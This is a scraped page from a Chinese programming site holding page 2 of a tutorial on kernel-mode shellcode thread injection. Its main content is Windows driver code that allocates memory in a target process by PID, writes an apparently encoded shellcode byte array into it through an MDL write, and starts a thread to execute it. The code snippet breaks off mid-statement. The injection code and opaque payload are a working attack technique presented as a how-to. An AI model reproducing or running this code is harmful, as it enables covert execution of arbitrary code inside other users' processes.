设为首页 加入收藏

TOP

驱动开发:内核ShellCode线程注入(二)
2023-07-23 13:27:41 】 浏览:72
Tags:内核 ShellCode 程注入
024; DWORD64 ref_address = 0; // ------------------------------------------------------- // 应用层开堆 // ------------------------------------------------------- NTSTATUS Status = AllocMemory(process_id, create_size, &ref_address); DbgPrint("对端进程: %d \n", process_id); DbgPrint("分配长度: %d \n", create_size); DbgPrint("分配的内核堆基址: %p \n", ref_address); // 设置注入路径,转换为多字节 UCHAR ShellCode[] = "\xdb\xde\xd9\x74\x24\xf4\x5a\xbe\x12\x21\xe9\xef\x31\xc9\xb1" "\x59\x31\x72\x19\x83\xc2\x04\x03\x72\x15\xf0\xd4\x15\x07\x7b" "\x16\xe6\xd8\xe3\x26\x34\x51\x06\x2c\x33\x30\xf8\x26\x11\xb9" "\x73\x6a\x82\x4a\xf1\xa3\xa5\xfb\xbf\x95\x88\xfc\x0e\x1a\x46" "\x3e\x11\xe6\x95\x13\xf1\xd7\x55\x66\xf0\x10\x20\x0c\x1d\xcc" "\xe4\x65\xb3\xe1\x81\x38\x0f\x03\x46\x37\x2f\x7b\xe3\x88\xdb" "\x37\xea\xd8\xa8\x90\xcc\x53\xe6\x38\x5d\x65\x25\xbd\x94\x11" "\xf5\xf7\x17\x25\x8e\x3c\xd3\xd8\x46\x0d\x23\x76\xa7\xa1\xae" "\x86\xe0\x06\x51\xfd\x1a\x75\xec\x06\xd9\x07\x2a\x82\xfd\xa0" "\xb9\x34\xd9\x51\x6d\xa2\xaa\x5e\xda\xa0\xf4\x42\xdd\x65\x8f" "\x7f\x56\x88\x5f\xf6\x2c\xaf\x7b\x52\xf6\xce\xda\x3e\x59\xee" "\x3c\xe6\x06\x4a\x37\x05\x50\xea\xb8\xd5\x5d\xb6\x2e\x19\x90" "\x49\xae\x35\xa3\x3a\x9c\x9a\x1f\xd5\xac\x53\x86\x22\xa5\x74" "\x39\xfc\x0d\x14\xc7\xfd\x6d\x3c\x0c\xa9\x3d\x56\xa5\xd2\xd6" "\xa6\x4a\x07\x42\xad\xdc\xa2\x92\xf3\x0a\xdb\x90\xf3\x15\x14" "\x1d\x15\x09\x7a\x4d\x8a\xea\x2a\x2d\x7a\x83\x20\xa2\xa5\xb3" "\x4a\x69\xce\x5e\xa5\xc7\xa6\xf6\x5c\x42\x3c\x66\xa0\x59\x38" "\xa8\x2a\x6b\xbc\x67\xdb\x1e\xae\x90\xbc\xe0\x2e\x61\x29\xe0" "\x44\x65\xfb\xb7\xf0\x67\xda\xff\x5e\x97\x09\x7c\x98\x67\xcc" "\xb4\xd2\x5e\x5a\xf8\x8c\x9e\x8a\xf8\x4c\xc9\xc0\xf8\x24\xad" "\xb0\xab\x51\xb2\x6c\xd8\xc9\x27\x8f\x88\xbe\xe0\xe7\x36\x98" "\xc7\xa7\xc9\xcf\x5b\xaf\x35\x8d\x73\x08\x5d\x6d\xc4\xa8\x9d" "\x07\xc4\xf8\xf5\xdc\xeb\xf7\x35\x1c\x26\x50\x5d\x97\xa7\x12" "\xfc\xa8\xed\xf3\xa0\xa9\x02\x28\x53\xd3\x6b\xcf\x94\x24\x62" "\xb4\x95\x24\x8a\xca\xaa\xf2\xb3\xb8\xed\xc6\x87\xb3\x58\x6a" "\xa1\x59\xa2\x38\xb1\x4b"; // ------------------------------------------------------- // 写出数据到内存 // ------------------------------------------------------- ReadMemoryStruct ptr; ptr.pid = process_id; ptr.address = ref_address; ptr.size = strlen(ShellCode); // 需要写入的数据 ptr.data = ExAllocatePool(NonPagedPool, ptr.size); // 循环设置 for (int i = 0; i < ptr.size; i++) { ptr.data[i] = ShellCode[i]; } // 写内存 MDLWriteMemory(&ptr); ExFreePool(ptr.data); // ------------------------------------------------------- // 执行开线程函数 // ------------------------------------------------------- // 执行线程注入 // 参数1:PID // 参数2:LoadLibraryW内存地址 // 参数3:当前DLL路径 BOOLEAN flag = MyInjectShellCode(process_id, ref_address, 0); if (fla
首页 上一页 1 2 3 下一页 尾页 2/3/3
】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
上一篇CMake个人理解和使用 下一篇vscode c/c++ MinGW/MSYS2 配置 |..

最新文章

热门文章

Hot 文章

Python

C 语言

C++基础

大数据基础

linux编程基础

C/C++面试题目